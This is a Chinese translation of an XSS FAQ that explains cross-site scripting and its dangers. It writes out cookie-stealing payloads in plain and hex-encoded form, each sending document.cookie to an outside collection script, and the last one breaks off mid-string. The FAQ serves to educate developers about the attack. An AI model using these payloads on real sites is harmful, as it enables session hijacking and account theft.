該文章簡單地介紹了XSS的基礎(chǔ)知識及其危害和預(yù)防方法。Web開發(fā)人員的必讀。譯自 http://www.cgisecurity.com/articles/xss-faq.shtml。
現(xiàn)在的網(wǎng)站包含大量的動態(tài)內(nèi)容以提高用戶體驗,比過去要復(fù)雜得多。所謂動態(tài)內(nèi)容,就是根據(jù)用戶環(huán)境和需要,Web應(yīng)用程序能夠輸出相應(yīng)的內(nèi)容。動態(tài)站點會受到一種名為“跨站腳本攻擊”(Cross Site Scripting, 安全專家們通常將其所寫成 XSS)的威脅,而靜態(tài)站點則完全不受其影響。這篇FAQ將使你能更深入地理解這種威脅,并給出如何檢測并防止的建議。
跨站腳本攻擊(也稱為XSS)指利用網(wǎng)站漏洞從用戶那里惡意盜取信息。用戶在瀏覽網(wǎng)站、使用即時通訊軟件、甚至在閱讀電子郵件時,通常會點擊其中的鏈接。攻擊者通過在鏈接中插入惡意代碼,就能夠盜取用戶信息。攻擊者通常會用十六進(jìn)制(或其他編碼方式)將鏈接編碼,以免用戶懷疑它的合法性。網(wǎng)站在接收到包含惡意代碼的請求之后會產(chǎn)成一個包含惡意代碼的頁面,而這個頁面看起來就像是那個網(wǎng)站應(yīng)當(dāng)生成的合法頁面一樣。許多流行的留言本和論壇程序允許用戶發(fā)表包含HTML和javascript的帖子。假設(shè)用戶甲發(fā)表了一篇包含惡意腳本的帖子,那么用戶乙在瀏覽這篇帖子時,惡意腳本就會執(zhí)行,盜取用戶乙的session信息。有關(guān)攻擊方法的詳細(xì)情況將在下面闡述。
人們經(jīng)常將跨站腳本攻擊(Cross Site Scripting)縮寫為CSS,但這會與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆。因此有人將跨站腳本攻擊縮寫為XSS。如果你聽到有人說 “我發(fā)現(xiàn)了一個XSS漏洞”,顯然他是在說跨站腳本攻擊。
為了搜集用戶信息,攻擊者通常會在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺騙用戶(詳見下文)。一旦得手,他們可以盜取用戶帳戶,修改用戶設(shè)置,盜取/污染cookie,做虛假廣告等。每天都有大量的XSS攻擊的惡意代碼出現(xiàn)。 Brett Moore的下面這篇文章詳細(xì)地闡述了“拒絕服務(wù)攻擊”以及用戶僅僅閱讀一篇文章就會受到的“自動攻擊”。
著名的PHPnuke程序有很多XSS漏洞。由于該程序十分流行,因此經(jīng)常被黑客們作為XSS的攻擊對象進(jìn)行檢查。下面給出了幾個已公開報告的攻擊方法。
根據(jù)作為攻擊對象的Web程序,下面某些變量和插入位置可能需要進(jìn)行調(diào)整。要注意這只是攻擊方法的一個例子。在這個例子中,我們將利用腳本“a.php”中的 “viriable”變量中的跨站腳本漏洞,通過正常請求進(jìn)行攻擊。這是跨站腳本攻擊最常見的形式。
當(dāng)你找到某個Web程序存在XSS漏洞之后,檢查一下它是否設(shè)置了cookie。如果在該網(wǎng)站的任何地方設(shè)置了cookie,那么就可以從用戶那里盜取它。
不同的攻擊方式將產(chǎn)生不同的XSS漏洞,所以應(yīng)適當(dāng)進(jìn)行測試以使得輸出結(jié)果看起來像是正常的。某些惡意腳本插入之后會破壞輸出的頁面。(為欺騙用戶,輸出結(jié)果非常重要,因此攻擊者有必要調(diào)整攻擊代碼使輸出看起來正常。)
下一步你需要在鏈接至包含XSS漏洞的頁面的URL中插入 Javascript(或其他客戶端腳本)。下面列出了一些經(jīng)常用于測試XSS漏洞的鏈接。當(dāng)用戶點擊這些鏈接時,用戶的cookie獎被發(fā)送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被顯示。如果你看到顯示結(jié)果中包含了cookie信息,說明可能可以劫持該用戶的賬戶。
盜取Cookie的Javascript示例。使用方法如下。
ASCII用法
http://host/a.php?variable="><script>document.location=‘http://www.cgisecurity.com/cgi-bin/cookie.cgi? ‘%20+document.cookie</script>
十六進(jìn)制用法
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67 %69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f %6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
注意: 每種用法都先寫為ASCII,再寫成十六進(jìn)制以便復(fù)制粘貼。
1. "><script>document.location=‘http://www.cgisecurity.com/cgi-bin/cookie.cgi?‘ +document.cookie</script> HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e %6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65 %63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f %63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 2. <script>document.location=‘http://www.cgisecurity.com/cgi-bin/cookie.cgi?‘ +document.cookie</script> HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72 %69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b %69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3
?石家莊網(wǎng)站建設(shè)的優(yōu)點:我們是專屬定制,制作符合您公司業(yè)務(wù)、風(fēng)格的網(wǎng)站,這就做到給您制作的網(wǎng)站是網(wǎng)絡(luò)上獨一無二的網(wǎng)站,這樣更有利于搜索引擎的收錄。如果您喜歡網(wǎng)絡(luò)上某個風(fēng)格的網(wǎng)站或者網(wǎng)站模板,我們是只仿制而不直接套用,我們會對其中的結(jié)構(gòu)和樣式做增減優(yōu)化,做…
?競價排名營銷是一種通過 競價購買搜索引擎中關(guān)鍵詞或關(guān)鍵短語的廣告方式。競價排名營銷分為兩種類型。 第一種,直接為真正的搜索引擎結(jié)果的排名付費,也就是說付的錢越多,網(wǎng)頁所獲得的排名名也就越高。 第二種則更類似于普通的廣告。這種競價排名營銷方式通過…
?網(wǎng)站優(yōu)化對網(wǎng)站來說是非常重要的,直接決定和影響著網(wǎng)站所起到的作用,以及在各個地方當(dāng)中的排名。在進(jìn)行seo優(yōu)化的過程中,我們必須要堅持一定的原則,真正的把這些事情做得更好,才可以確保最終的結(jié)果,這對于我們來說是非常重要的事。 SEO優(yōu)化主要分為8小步: …